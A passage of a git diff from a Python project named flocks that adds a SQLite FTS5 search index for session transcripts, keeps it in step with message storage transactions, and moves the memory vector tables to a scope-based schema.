_sync_search_index(db) -> None: + if not Storage.session_search_available(): + return + if delete_message or message is None: + await delete_message_document(db, message_id) + return + if session is None: + return + await upsert_session_document( + db, + project_id=session.project_id, + message=message, + parts=parts, + ) + + await Storage.mutate_many( + set_entries=set_entries, + delete_keys=delete_keys, + transaction_hook=_sync_search_index, + ) + + if include_parts: + persisted_mids = cls._parts_persisted_mids.setdefault( + session_id, + set(), + ) + if delete_message: + persisted_mids.discard(message_id) + else: + persisted_mids.add(message_id) @classmethod async def create( @@ -1473,8 +1588,12 @@ async def create( cls._parts_cache[session_id][message.id].append(part) # Persist to storage - await cls._persist_messages(session_id) - await cls._persist_parts(session_id) + await cls._persist_indexed_state( + session_id, + message.id, + include_messages=True, + include_parts=True, + ) log.info("message.created", { "id": message.id, @@ -1658,7 +1777,11 @@ async def store_part(cls, session_id: str, message_id: str, part: PartType) -> P cls._schedule_parts_flush(session_id, message_id=message_id) else: cls._cancel_parts_flush_task(session_id) - await cls._persist_parts(session_id, message_id=message_id) + await cls._persist_indexed_state( + session_id, + message_id, + include_parts=True, + ) log.debug("message.part.stored" if not updated else "message.part.updated", { "session_id": session_id, @@ -1711,7 +1834,11 @@ async def upsert_message_info(cls, session_id: str, message_info: MessageInfo) - messages.append(message_info) cls._rebuild_id_index(session_id) - await cls._persist_messages(session_id) + await cls._persist_indexed_state( + session_id, + message_info.id, + include_messages=True, + ) log.debug("message.upserted", { "id": message_info.id, @@ -1916,7 +2043,13 @@ async def delete(cls, session_id: str, message_id: str) -> bool: had_pending_parts_flush = session_id in cls._parts_flush_tasks cls._cancel_parts_flush_task(session_id) try: - await cls._persist_messages(session_id) + await cls._persist_indexed_state( + session_id, + message_id, + include_messages=True, + include_parts=True, + delete_message=True, + ) except BaseException: # Message metadata is the deletion commit point. Restore # every in-memory index/cache if it was not persisted so a @@ -1942,23 +2075,6 @@ async def delete(cls, session_id: str, message_id: str) -> bool: ) raise - try: - if cls._parts_storage_format.get(session_id) == "legacy": - await cls._persist_parts(session_id) - else: - await Storage.delete(cls._parts_item_key(session_id, message_id)) - cls._parts_persisted_mids.setdefault(session_id, set()).discard( - message_id - ) - except Exception as exc: - # Metadata deletion has committed. Orphaned parts are not - # user-visible and can be cleaned later; restoring the - # message here would make cache and durable metadata diverge. - log.warn("message.delete.parts_cleanup_failed", { - "session_id": session_id, - "message_id": message_id, - "error": str(exc), - }) log.info("message.deleted", {"id": message_id, "session_id": session_id}) return True return False @@ -2019,9 +2135,21 @@ async def clear(cls, session_id: str) -> int: cls._parts_fully_loaded.add(session_id) cls._cancel_parts_flush_task(session_id) - await cls._persist_messages(session_id) - await Storage.clear(prefix=cls._parts_item_prefix(session_id)) - await Storage.delete(cls._parts_blob_key(session_id)) + from flocks.storage.session_search import delete_session_documents + + async def _delete_search_index(db) -> None: + if not Storage.session_search_available(): + return + await delete_session_documents(db, [session_id]) + + await Storage.mutate_many( + set_entries=[ + (f"{cls._MESSAGE_PREFIX}:{session_id}", [], "json"), + ], + delete_keys=[cls._parts_blob_key(session_id)], + delete_prefixes=[cls._parts_item_prefix(session_id)], + transaction_hook=_delete_search_index, + ) log.info("messages.cleared", { "session_id": session_id, @@ -2352,7 +2480,11 @@ async def update(cls, session_id: str, message_id: str, **updates) -> Optional[M updated = message.model_copy(update=patch) messages[msg_index] = updated - await cls._persist_messages(session_id) + await cls._persist_indexed_state( + session_id, + message_id, + include_messages=True, + ) log.info("message.updated", { "id": message_id, @@ -2394,7 +2526,11 @@ async def add_part(cls, session_id: str, message_id: str, part: PartType) -> Opt cls._touch_parts_revision(session_id, message_id) cls._cancel_parts_flush_task(session_id) - await cls._persist_parts(session_id, message_id=message_id) + await cls._persist_indexed_state( + session_id, + message_id, + include_parts=True, + ) log.info("message.part_added", { "message_id": message_id, @@ -2437,7 +2573,11 @@ async def update_part(cls, session_id: str, message_id: str, part_id: str, **upd cls._touch_parts_revision(session_id, message_id) cls._cancel_parts_flush_task(session_id) - await cls._persist_parts(session_id, message_id=message_id) + await cls._persist_indexed_state( + session_id, + message_id, + include_parts=True, + ) log.info("message.part_updated", { "message_id": message_id, @@ -2472,7 +2612,11 @@ async def remove_part(cls, session_id: str, message_id: str, part_id: str) -> bo cls._touch_parts_revision(session_id, message_id) cls._cancel_parts_flush_task(session_id) - await cls._persist_parts(session_id, message_id=message_id) + await cls._persist_indexed_state( + session_id, + message_id, + include_parts=True, + ) log.info("message.part_removed", { "message_id": message_id, diff --git a/flocks/session/session.py b/flocks/session/session.py index 14a56e740..6a904412a 100644 --- a/flocks/session/session.py +++ b/flocks/session/session.py @@ -769,8 +769,15 @@ async def _delete_locked(cls, project_id: str, session_id: str) -> bool: session_ids = [session.id for session in sessions] from flocks.permission.next import PermissionNext + from flocks.storage.session_search import delete_session_documents permission_keys = await PermissionNext.deletion_storage_keys(session_ids) + + async def _delete_search_index(db) -> None: + if not Storage.session_search_available(): + return + await delete_session_documents(db, session_ids) + await Storage.mutate_many( delete_keys=[ key @@ -794,6 +801,7 @@ async def _delete_locked(cls, project_id: str, session_id: str) -> bool: f"system_prompts:{session.id}:", ) ], + transaction_hook=_delete_search_index, ) PermissionNext.clear_session_runtime(session_ids) diff --git a/flocks/storage/__init__.py b/flocks/storage/__init__.py index 91b269afa..865756804 100644 --- a/flocks/storage/__init__.py +++ b/flocks/storage/__init__.py @@ -8,6 +8,7 @@ vector_search, fts_search, insert_chunks, + replace_memory_file_index, get_embedding_from_cache, put_embedding_to_cache, cosine_similarity, @@ -22,6 +23,7 @@ "vector_search", "fts_search", "insert_chunks", + "replace_memory_file_index", "get_embedding_from_cache", "put_embedding_to_cache", "cosine_similarity", diff --git a/flocks/storage/session_search.py b/flocks/storage/session_search.py new file mode 100644 index 000000000..6668f9841 --- /dev/null +++ b/flocks/storage/session_search.py @@ -0,0 +1,671 @@ +"""Derived FTS5 index for persisted session transcripts.""" + +from __future__ import annotations + +import asyncio +from datetime import UTC, datetime +import hashlib +from pathlib import Path +import sqlite3 +from typing import Any, Iterable, Optional, Sequence + +import aiosqlite + +from flocks.storage.storage import Storage +from flocks.utils.log import Log + +log = Log.create(service="storage.session_search") + +_SESSION_BACKFILL_KEY = "history-v1" +_reconcile_locks: dict[str, asyncio.Lock] = {} + +_SESSION_SEARCH_UNAVAILABLE_MESSAGE = ( + "Session search is unavailable because this SQLite runtime does not " + "support FTS5. Session messages will continue to be stored normally." +) + + +class SessionSearchUnavailableError(RuntimeError): + """Raised when the active SQLite runtime cannot provide Session FTS.""" + + +def _is_fts5_unavailable_error(error: BaseException) -> bool: + """Return whether an SQLite failure specifically means FTS5 is absent.""" + current: Optional[BaseException] = error + while current is not None: + if isinstance(current, sqlite3.OperationalError): + message = str(current).casefold() + if "fts5" in message and ( + "no such module" in message or "unknown module" in message + ): + return True + current = current.__cause__ or current.__context__ + return False + + +def require_session_search_available() -> None: + """Raise a stable, user-facing error when Session FTS is disabled.""" + if not Storage.session_search_available(): + raise SessionSearchUnavailableError(_SESSION_SEARCH_UNAVAILABLE_MESSAGE) + + +SESSION_SEARCH_SCHEMA_SQL = """ +CREATE TABLE IF NOT EXISTS session_transcript_index_state ( + id INTEGER PRIMARY KEY, + message_id TEXT NOT NULL UNIQUE, + session_id TEXT NOT NULL, + project_id TEXT, + role TEXT NOT NULL, + created_at INTEGER NOT NULL, + source_updated_at INTEGER NOT NULL, + content_hash TEXT NOT NULL, + indexed_at INTEGER NOT NULL +); + +CREATE INDEX IF NOT EXISTS idx_session_transcript_state_session + ON session_transcript_index_state(session_id); + +CREATE INDEX IF NOT EXISTS idx_session_transcript_state_project + ON session_transcript_index_state(project_id); + +CREATE VIRTUAL TABLE IF NOT EXISTS session_transcript_fts USING fts5( + text, + tokenize = 'unicode61 remove_diacritics 2' +); +""" + + +SESSION_SEARCH_META_SCHEMA_SQL = """ +CREATE TABLE IF NOT EXISTS session_transcript_meta ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at INTEGER NOT NULL +); +""" + + +def _value(value: Any, name: str, default: Any = None) -> Any: + if isinstance(value, dict): + return value.get(name, default) + return getattr(value, name, default) + + +def _message_timestamp(message: Any, name: str) -> int: + time_value = _value(message, "time", {}) + raw = _value(time_value, name, 0) + try: + return int(raw or 0) + except (TypeError, ValueError): + return 0 + + +def build_session_document( + message: Any, + parts: Iterable[Any], +) -> Optional[dict[str, Any]]: + """Build a searchable user/assistant document from authoritative parts.""" + role_value = _value(message, "role", "") + role = getattr(role_value, "value", role_value) + if role not in {"user", "assistant"}: + return None + + text_parts: list[str] = [] + for part in parts: + if _value(part, "type") != "text": + continue + if bool(_value(part, "synthetic", False)) or bool( + _value(part, "ignored", False) + ): + continue + text = str(_value(part, "text", "") or "").strip() + if text: + text_parts.append(text) + + text = "\n".join(text_parts).strip() + if not text: + return None + + created_at = _message_timestamp(message, "created") + updated_at = ( + _message_timestamp(message, "updated") + or _message_timestamp(message, "completed") + or created_at + ) + return { + "message_id": str(_value(message, "id")), + "session_id": str(_value(message, "sessionID")), + "role": role, + "created_at": created_at, + "source_updated_at": updated_at, + "text": text, + "content_hash": hashlib.sha256(text.encode("utf-8")).hexdigest(), + } + + +async def ensure_session_search_tables(db_path: Path) -> bool: + """Create Session search tables if the SQLite runtime supports FTS5. + + Returns: + ``True`` when Session FTS is available and the schema is ready. + ``False`` only when SQLite explicitly reports that the FTS5 module is + unavailable. All other database errors are propagated. + """ + async with Storage.connect(db_path) as db: + await db.executescript(SESSION_SEARCH_META_SCHEMA_SQL) + try: + await db.execute( + """ + CREATE VIRTUAL TABLE temp._flocks_session_fts5_probe + USING fts5(text) + """ + ) + await db.execute( + "DROP TABLE temp._flocks_session_fts5_probe" + ) + except sqlite3.OperationalError as exc: + if _is_fts5_unavailable_error(exc): + # Messages may be created, updated, or deleted while Session + # indexing is disabled. Force a complete reconciliation if a + # future runtime restores FTS5 support. + await db.execute( + "DELETE FROM session_transcript_meta WHERE key = ?", + (_SESSION_BACKFILL_KEY,), + ) + await db.commit() + return False + raise + + cursor = await db.execute( + """ + SELECT name + FROM sqlite_master + WHERE name IN ( + 'session_transcript_index_state', + 'session_transcript_fts' + ) + """ + ) + existing_tables = {row[0] for row in await cursor.fetchall()} + await db.executescript(SESSION_SEARCH_SCHEMA_SQL) + if existing_tables != { + "session_transcript_index_state", + "session_transcript_fts", + }: + await db.execute( + "DELETE FROM session_transcript_meta WHERE key = ?", + (_SESSION_BACKFILL_KEY,), + ) + await db.commit() + return True + + +def _reconcile_lock(db_path: Path) -> asyncio.Lock: + """Return the process-local reconcile owner for one SQLite database.""" + key = str(db_path.resolve()) + lock = _reconcile_locks.get(key) + if lock is None: + lock = asyncio.Lock() + _reconcile_locks[key] = lock + return lock + + +async def _session_index_is_ready(db_path: Path) -> bool: + async with Storage.connect(db_path) as db: + cursor = await db.execute( + "SELECT 1 FROM session_transcript_meta WHERE key = ?", + (_SESSION_BACKFILL_KEY,), + ) + return await cursor.fetchone() is not None + + +async def _mark_session_index_ready(db_path: Path) -> None: + now = int(datetime.now(UTC).timestamp() * 1000) + async with Storage.connect(db_path) as db: + await db.execute( + """ + INSERT INTO session_transcript_meta (key, value, updated_at) + VALUES (?, 'complete', ?) + ON CONFLICT(key) DO UPDATE SET + value = excluded.value, + updated_at = excluded.updated_at + """, + (_SESSION_BACKFILL_KEY, now), + ) + await db.commit() + + +async def ensure_session_index_ready(*, batch_size: int = 50) -> bool: + """Backfill legacy transcripts once, then use realtime message indexing. + + Returns ``True`` when this call performed the historical backfill and + ``False`` when a previous successful pass already made the index ready. + """ + require_session_search_available() + db_path = Storage.get_db_path() + if await _session_index_is_ready(db_path): + return False + + async with _reconcile_lock(db_path): + if await _session_index_is_ready(db_path): + return False + stats = await _reconcile_session_index_unlocked(batch_size=batch_size) + await _mark_session_index_ready(db_path) + log.info("session_search.backfill.complete", stats) + return True + + +async def upsert_session_document( + db: aiosqlite.Connection, + *, + project_id: str, + message: Any, + parts: Sequence[Any], +) -> bool: + """Synchronize one message into the transcript FTS index.""" + message_id = str(_value(message, "id")) + document = build_session_document(message, parts) + cursor = await db.execute( + """ + SELECT id, project_id, role, created_at, source_updated_at, content_hash + FROM session_transcript_index_state + WHERE message_id = ? + """, + (message_id,), + ) + existing = await cursor.fetchone() + + if document is None: + if existing is None: + return False + await db.execute( + "DELETE FROM session_transcript_fts WHERE rowid = ?", + (existing[0],), + ) + await db.execute( + "DELETE FROM session_transcript_index_state WHERE id = ?", + (existing[0],), + ) + return True + + unchanged = existing is not None and ( + existing[1], + existing[2], + existing[3], + existing[4], + existing[5], + ) == ( + project_id, + document["role"], + document["created_at"], + document["source_updated_at"], + document["content_hash"], + ) + if unchanged: + cursor = await db.execute( + "SELECT text FROM session_transcript_fts WHERE rowid = ?", + (existing[0],), + ) + indexed = await cursor.fetchone() + if indexed is not None and indexed[0] == document["text"]: + return False + + indexed_at = int(datetime.now(UTC).timestamp() * 1000) + if existing is None: + cursor = await db.execute( + """ + INSERT INTO session_transcript_index_state ( + message_id, session_id, project_id, role, created_at, + source_updated_at, content_hash, indexed_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?) + """, + ( + document["message_id"], + document["session_id"], + project_id, + document["role"], + document["created_at"], + document["source_updated_at"], + document["content_hash"], + indexed_at, + ), + ) + rowid = cursor.lastrowid + else: + rowid = existing[0] + await db.execute( + """ + UPDATE session_transcript_index_state + SET session_id = ?, project_id = ?, role = ?, created_at = ?, + source_updated_at = ?, content_hash = ?, indexed_at = ? + WHERE id = ? + """, + ( + document["session_id"], + project_id, + document["role"], + document["created_at"], + document["source_updated_at"], + document["content_hash"], + indexed_at, + rowid, + ), + ) + await db.execute( + "DELETE FROM session_transcript_fts WHERE rowid = ?", + (rowid,), + ) + + await db.execute( + "INSERT INTO session_transcript_fts(rowid, text) VALUES (?, ?)", + (rowid, document["text"]), + ) + return True + + +async def delete_session_documents( + db: aiosqlite.Connection, + session_ids: Sequence[str], +) -> int: + """Delete all derived transcript rows for the supplied sessions.""" + if not session_ids: + return 0 + placeholders = ",".join("?" for _ in session_ids) + cursor = await db.execute( + f""" + SELECT id FROM session_transcript_index_state + WHERE session_id IN ({placeholders}) + """, + tuple(session_ids), + ) + rowids = [row[0] for row in await cursor.fetchall()] + if rowids: + rowid_placeholders = ",".join("?" for _ in rowids) + await db.execute( + f"DELETE FROM session_transcript_fts WHERE rowid IN ({rowid_placeholders})", + tuple(rowids), + ) + cursor = await db.execute( + f""" + DELETE FROM session_transcript_index_state + WHERE session_id IN ({placeholders}) + """, + tuple(session_ids), + ) + return max(cursor.rowcount, 0) + + +async def delete_message_document( + db: aiosqlite.Connection, + message_id: str, +) -> bool: + """Delete one derived transcript row.""" + cursor = await db.execute( + "SELECT id FROM session_transcript_index_state WHERE message_id = ?", + (message_id,), + ) + row = await cursor.fetchone() + if row is None: + return False + await db.execute( + "DELETE FROM session_transcript_fts WHERE rowid = ?", + (row[0],), + ) + await db.execute( + "DELETE FROM session_transcript_index_state WHERE id = ?", + (row[0],), + ) + return True + + +async def reconcile_session_index( + *, + project_id: Optional[str] = None, + batch_size: int = 50, +) -> dict[str, int]: + """Rebuild missing/stale rows and remove orphaned derived rows.""" + require_session_search_available() + db_path = Storage.get_db_path() + async with _reconcile_lock(db_path): + stats = await _reconcile_session_index_unlocked( + project_id=project_id, + batch_size=batch_size, + ) + if project_id is None: + await _mark_session_index_ready(db_path) + return stats + + +async def _reconcile_session_index_unlocked( + *, + project_id: Optional[str] = None, + batch_size: int = 50, +) -> dict[str, int]: + """Repair Session FTS while bounding loaded TextParts to one batch.""" + from flocks.session.message import Message + from flocks.session.session import Session + + sessions = [ + session + for session in await Session.list_all_unfiltered() + if session.status != "deleted" + and (project_id is None or session.project_id == project_id) + ] + stats = {"scanned": 0, "updated": 0, "deleted": 0} + effective_batch_size = max(1, batch_size) + + async with Storage.connect(Storage.get_db_path()) as db: + await db.execute( + """ + CREATE TEMP TABLE session_transcript_reconcile_seen ( + message_id TEXT PRIMARY KEY + ) + """ + ) + if project_id is None: + await db.execute( + """ + CREATE TEMP TABLE session_transcript_reconcile_candidates AS + SELECT id, message_id + FROM session_transcript_index_state + """ + ) + else: + await db.execute( + """ + CREATE TEMP TABLE session_transcript_reconcile_candidates AS + SELECT id, message_id + FROM session_transcript_index_state + WHERE project_id = ? + """, + (project_id,), + ) + await db.execute( + """ + CREATE TEMP TABLE session_transcript_reconcile_fts_candidates AS + SELECT rowid + FROM session_transcript_fts + """ + ) + + for session in sessions: + # Session deletion owns this same lifecycle lock. Holding it while + # rebuilding prevents a deleted transcript from being reinserted + # after its transactional FTS cleanup. + async with Session.lifecycle_lock(session.id): + current = await Session.get_by_id_unfiltered(session.id) + if ( + current is None + or current.status == "deleted" + or Session.is_lifecycle_transitioning(session.id) + ): + continue + + messages = await Message.list( + session.id, + include_archived=True, + ) + for offset in range(0, len(messages), effective_batch_size): + batch_messages = messages[ + offset : offset + effective_batch_size + ] + batch = [] + for message in batch_messages: + item = await Message.get_with_parts_lazy( + session.id, + message.id, + ) + if item is not None: + batch.append(item) + + stats["scanned"] += len(batch) + try: + await db.execute("BEGIN IMMEDIATE") + for item in batch: + document = build_session_document( + item.info, + item.parts, + ) + if document is not None: + await db.execute( + """ + INSERT OR IGNORE INTO + session_transcript_reconcile_seen ( + message_id + ) + VALUES (?) + """, + (document["message_id"],), + ) + if await upsert_session_document( + db, + project_id=session.project_id, + message=item.info, + parts=item.parts, + ): + stats["updated"] += 1 + await db.commit() + except BaseException: + await db.rollback() + raise + + try: + await db.execute("BEGIN IMMEDIATE") + cursor = await db.execute( + """ + SELECT count(*) + FROM session_transcript_reconcile_candidates AS candidate + LEFT JOIN session_transcript_reconcile_seen AS seen + ON seen.message_id = candidate.message_id + WHERE seen.message_id IS NULL + """ + ) + stale_count = int((await cursor.fetchone())[0]) + if stale_count: + await db.execute( + """ + DELETE FROM session_transcript_fts + WHERE rowid IN ( + SELECT candidate.id + FROM session_transcript_reconcile_candidates AS candidate + LEFT JOIN session_transcript_reconcile_seen AS seen + ON seen.message_id = candidate.message_id + WHERE seen.message_id IS NULL + ) + """ + ) + await db.execute( + """ + DELETE FROM session_transcript_index_state + WHERE id IN ( + SELECT candidate.id + FROM session_transcript_reconcile_candidates AS candidate + LEFT JOIN session_transcript_reconcile_seen AS seen + ON seen.message_id = candidate.message_id + WHERE seen.message_id IS NULL + ) + """ + ) + stats["deleted"] += stale_count + + cursor = await db.execute( + """ + DELETE FROM session_transcript_fts + WHERE rowid IN ( + SELECT candidate.rowid + FROM session_transcript_reconcile_fts_candidates AS candidate + WHERE candidate.rowid NOT IN ( + SELECT id FROM session_transcript_index_state + ) + ) + """ + ) + stats["deleted"] += max(cursor.rowcount, 0) + await db.commit() + except BaseException: + await db.rollback() + raise + + log.info( + "session_search.reconciled", + {"project_id": project_id or "*", **stats}, + ) + return stats + + +async def session_fts_search( + *, + db_path: Path, + project_id: str, + query: str, + max_results: int, +) -> list[dict[str, Any]]: + """Search all indexed session messages using FTS5 BM25 ranking.""" + from flocks.storage.vector import build_fts_query + + require_session_search_available() + del project_id # Retained for API compatibility; Session search is global. + fts_query = build_fts_query(query) + if not fts_query: + return [] + + async with Storage.connect(db_path) as db: + cursor = await db.execute( + """ + SELECT + s.message_id, + s.session_id, + s.role, + s.created_at, + snippet(session_transcript_fts, 0, '', '', ' … ', 24), + bm25(session_transcript_fts) + FROM session_transcript_fts + JOIN session_transcript_index_state s + ON s.id = session_transcript_fts.rowid + WHERE session_transcript_fts MATCH ? + ORDER BY bm25(session_transcript_fts) + LIMIT ? + """, + (fts_query, max_results), + ) + rows = await cursor.fetchall() + + count = len(rows) + results: list[dict[str, Any]] = [] + for index, row in enumerate(rows): + message_id, session_id, role, created_at, snippet, _rank = row + score = 1.0 if count == 1 else 1.0 - (index / (2 * count)) + results.append( + { + "path": f"sessions/{session_id}/messages/{message_id}", + "source": "session", + "start_line": 1, + "end_line": 1, + "text": snippet, + "score": score, + "citation": ( + f"session:{session_id} message:{message_id} " + f"role:{role} created_at:{created_at}" + ), + } + ) + return results diff --git a/flocks/storage/storage.py b/flocks/storage/storage.py index 43a8724cc..b1330e127 100644 --- a/flocks/storage/storage.py +++ b/flocks/storage/storage.py @@ -25,6 +25,7 @@ T = TypeVar("T", bound=BaseModel) DDLScript = str | Callable[[aiosqlite.Connection], Awaitable[None]] +TransactionHook = Callable[[aiosqlite.Connection], Awaitable[None]] R = TypeVar("R") @@ -72,6 +73,7 @@ class Storage: _log = Log.create(service="storage") _db_path: Optional[Path] = None _initialized = False + _session_search_available = True _db_identity: Optional[Tuple[int, int]] = None # PID of the process that called ``init()``. Used by ``_ensure_init`` to # detect ``fork()`` (uvicorn ``--reload`` / multiprocessing workers) and @@ -151,6 +153,11 @@ def get_db_path(cls) -> Path: data_dir = Config.get_data_path() return data_dir / "flocks.db" + @classmethod + def session_search_available(cls) -> bool: + """Return whether Session FTS is supported by the active SQLite runtime.""" + return cls._session_search_available + @staticmethod def _file_identity(db_path: Path) -> Optional[Tuple[int, int]]: """Return the filesystem identity used to detect an online DB replacement.""" @@ -1354,6 +1361,20 @@ async def _bootstrap_schema(cls) -> None: except Exception as e: cls._log.warn("storage.vector.init.failed", {"error": str(e)}) + from flocks.storage.session_search import ensure_session_search_tables + + cls._session_search_available = await ensure_session_search_tables( + cls._db_path + ) + if not cls._session_search_available: + cls._log.warn( + "storage.session_search.disabled", + { + "reason": "SQLite runtime does not support FTS5", + "db_path": str(cls._db_path), + }, + ) + # Create model management tables await cls._create_model_management_tables() @@ -1555,12 +1576,22 @@ async def mutate_many( set_entries: Sequence[Tuple[str, Any, str]] = (), delete_keys: Sequence[str] = (), delete_prefixes: Sequence[str] = (), + transaction_hook: Optional[TransactionHook] = None, ) -> int: - """Apply related set/delete operations in one SQLite transaction.""" + """Apply related set/delete operations in one SQLite transaction. + + ``transaction_hook`` is reserved for derived relational indexes that + must commit atomically with their canonical KV records. + """ entries = list(set_entries) keys_to_delete = list(delete_keys) prefixes_to_delete = list(delete_prefixes) - if not entries and not keys_to_delete and not prefixes_to_delete: + if ( + not entries + and not keys_to_delete + and not prefixes_to_delete + and transaction_hook is None + ): return 0 routing_paths = { @@ -1568,6 +1599,8 @@ async def mutate_many( *(cls.route_db_path_for_key(key) for key in keys_to_delete), *(cls.route_db_path_for_prefix(prefix) for prefix in prefixes_to_delete), } + if not routing_paths: + routing_paths = {cls.get_db_path()} if len(routing_paths) != 1: raise ValueError("Storage.mutate_many operations must target the same database") @@ -1614,6 +1647,8 @@ async def _write() -> int: (cls._like_prefix_pattern(prefix),), ) deleted += max(cursor.rowcount, 0) + if transaction_hook is not None: + await transaction_hook(db) await db.commit() return deleted except BaseException: diff --git a/flocks/storage/vector.py b/flocks/storage/vector.py index 18401f90a..7344812a4 100644 --- a/flocks/storage/vector.py +++ b/flocks/storage/vector.py @@ -7,7 +7,6 @@ from typing import List, Optional, Dict, Any, Tuple from pathlib import Path -import aiosqlite import json import math from datetime import datetime @@ -22,20 +21,23 @@ VECTOR_SCHEMA_SQL = """ -- Memory files index table CREATE TABLE IF NOT EXISTS memory_files ( - path TEXT PRIMARY KEY, - project_id TEXT NOT NULL, + scope TEXT NOT NULL, + scope_id TEXT NOT NULL, + path TEXT NOT NULL, source TEXT NOT NULL, -- 'memory' | 'session' hash TEXT NOT NULL, mtime REAL NOT NULL, size INTEGER NOT NULL, - indexed_at REAL NOT NULL + indexed_at REAL NOT NULL, + PRIMARY KEY (scope, scope_id, path) ); -- Memory chunks table CREATE TABLE IF NOT EXISTS memory_chunks ( id TEXT PRIMARY KEY, + scope TEXT NOT NULL, + scope_id TEXT NOT NULL, path TEXT NOT NULL, - project_id TEXT NOT NULL, source TEXT NOT NULL, start_line INTEGER NOT NULL, end_line INTEGER NOT NULL, @@ -46,7 +48,8 @@ embedding_dims INTEGER, created_at REAL NOT NULL, updated_at REAL NOT NULL, - FOREIGN KEY (path) REFERENCES memory_files(path) ON DELETE CASCADE + FOREIGN KEY (scope, scope_id, path) + REFERENCES memory_files(scope, scope_id, path) ON DELETE CASCADE ); -- Embedding cache table (shared across projects) @@ -62,10 +65,13 @@ ); -- Indexes for performance -CREATE INDEX IF NOT EXISTS idx_memory_files_project ON memory_files(project_id); +CREATE INDEX IF NOT EXISTS idx_memory_files_scope + ON memory_files(scope, scope_id); CREATE INDEX IF NOT EXISTS idx_memory_files_source ON memory_files(source); -CREATE INDEX IF NOT EXISTS idx_memory_chunks_project ON memory_chunks(project_id); -CREATE INDEX IF NOT EXISTS idx_memory_chunks_path ON memory_chunks(path); +CREATE INDEX IF NOT EXISTS idx_memory_chunks_scope + ON memory_chunks(scope, scope_id); +CREATE INDEX IF NOT EXISTS idx_memory_chunks_path + ON memory_chunks(scope, scope_id, path); CREATE INDEX IF NOT EXISTS idx_memory_chunks_source ON memory_chunks(source); CREATE INDEX IF NOT EXISTS idx_memory_embedding_cache_accessed ON memory_embedding_cache(accessed_at); """ @@ -78,7 +84,8 @@ chunk_id UNINDEXED, path UNINDEXED, source UNINDEXED, - project_id UNINDEXED, + scope UNINDEXED, + scope_id UNINDEXED, start_line UNINDEXED, end_line UNINDEXED, tokenize = 'porter unicode61' @@ -93,7 +100,7 @@ async def ensure_vector_tables(db_path: Path) -> Dict[str, Any]: Returns: Status dict with table availability info """ - status = { + status: Dict[str, Any] = { "vector_tables": False, "fts5": False, "fts5_error": None, @@ -101,6 +108,28 @@ async def ensure_vector_tables(db_path: Path) -> Dict[str, Any]: try: async with Storage.connect(db_path) as db: + cursor = await db.execute("PRAGMA table_info(memory_files)") + file_columns = {row[1] for row in await cursor.fetchall()} + cursor = await db.execute("PRAGMA table_info(memory_chunks)") + chunk_columns = {row[1] for row in await cursor.fetchall()} + cursor = await db.execute("PRAGMA table_info(memory_fts)") + fts_columns = {row[1] for row in await cursor.fetchall()} + old_scope_schema = any( + columns + and not {"scope", "scope_id"}.issubset(columns) + for columns in (file_columns, chunk_columns, fts_columns) + ) + if old_scope_schema: + await db.execute("BEGIN IMMEDIATE") + try: + await db.execute("DROP TABLE IF EXISTS memory_fts") + await db.execute("DROP TABLE IF EXISTS memory_chunks") + await db.execute("DROP TABLE IF EXISTS memory_files") + await db.commit() + log.info("vector.memory_scope_schema.rebuilt") + except BaseException: + await db.rollback() + raise # Create vector tables await db.executescript(VECTOR_SCHEMA_SQL) await db.commit() @@ -157,7 +186,7 @@ def bm25_rank_to_score(rank: float) -> float: Returns: Normalized score """ - normalized = max(0, rank) if math.isfinite(rank) else 999 + normalized = abs(rank) if math.isfinite(rank) else 999 return 1 / (1 + normalized) @@ -177,7 +206,8 @@ async def vector_search( Args: db_path: Database path - project_id: Project ID to filter + project_id: Current Session project ID (retained for API compatibility; + Memory file search is global) embedding: Query embedding vector max_results: Maximum results to return min_score: Minimum similarity score @@ -187,16 +217,16 @@ async def vector_search( List of search results """ results = [] + del project_id # Memory file search is intentionally global across scopes. try: async with Storage.connect(db_path) as db: - # Build query query = """ SELECT id, path, source, start_line, end_line, text, embedding FROM memory_chunks - WHERE project_id = ? AND embedding IS NOT NULL + WHERE embedding IS NOT NULL """ - params = [project_id] + params: list[Any] = [] if sources: placeholders = ",".join("?" * len(sources)) @@ -254,7 +284,7 @@ def build_fts_query(raw: str) -> Optional[str]: """ Build FTS5 query string from raw text - Extracts alphanumeric tokens and combines with AND. + Extracts Unicode word tokens and combines them with AND. Args: raw: Raw query text @@ -264,8 +294,9 @@ def build_fts_query(raw: str) -> Optional[str]: """ import re - # Extract alphanumeric tokens - tokens = re.findall(r'[A-Za-z0-9_]+', raw) + # Python's Unicode-aware ``\w`` keeps CJK and other scripts intact while + # quoting prevents user input from becoming FTS5 syntax. + tokens = re.findall(r"\w+", raw, flags=re.UNICODE) tokens = [t.strip() for t in tokens if t.strip()] if not tokens: @@ -288,7 +319,8 @@ async def fts_search( Args: db_path: Database path - project_id: Project ID to filter + project_id: Current Session project ID (retained for API compatibility; + Memory file search is global) query: Search query (FTS5 format) max_results: Maximum results to return sources: Optional list of sources to filter @@ -297,6 +329,7 @@ async def fts_search( List of search results with BM25 scores """ results = [] + del project_id # Memory file search is intentionally global across scopes. try: async with Storage.connect(db_path) as db: @@ -317,9 +350,8 @@ async def fts_search( rank FROM memory_fts f WHERE f.text MATCH ? - AND f.project_id = ? """ - params = [fts_query, project_id] + params = [fts_query] if sources: placeholders = ",".join("?" * len(sources)) @@ -364,7 +396,7 @@ async def insert_chunks( Args: db_path: Database path chunks: List of chunk dicts with keys: - - id, path, project_id, source, start_line, end_line, + - id, scope, scope_id, path, source, start_line, end_line, hash, text, embedding, embedding_model, embedding_dims Returns: @@ -377,14 +409,15 @@ async def insert_chunks( # Insert into chunks table await db.executemany(""" INSERT OR REPLACE INTO memory_chunks - (id, path, project_id, source, start_line, end_line, hash, text, + (id, scope, scope_id, path, source, start_line, end_line, hash, text, embedding, embedding_model, embedding_dims, created_at, updated_at) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) """, [ ( chunk["id"], + chunk["scope"], + chunk["scope_id"], chunk["path"], - chunk["project_id"], chunk["source"], chunk["start_line"], chunk["end_line"], @@ -401,16 +434,24 @@ async def insert_chunks( # Insert into FTS5 table (if exists) try: + chunk_ids = [chunk["id"] for chunk in chunks] + if chunk_ids: + placeholders = ",".join("?" for _ in chunk_ids) + await db.execute( + f"DELETE FROM memory_fts WHERE chunk_id IN ({placeholders})", + tuple(chunk_ids), + ) await db.executemany(""" INSERT OR REPLACE INTO memory_fts - (chunk_id, path, source, project_id, start_line, end_line, text) - VALUES 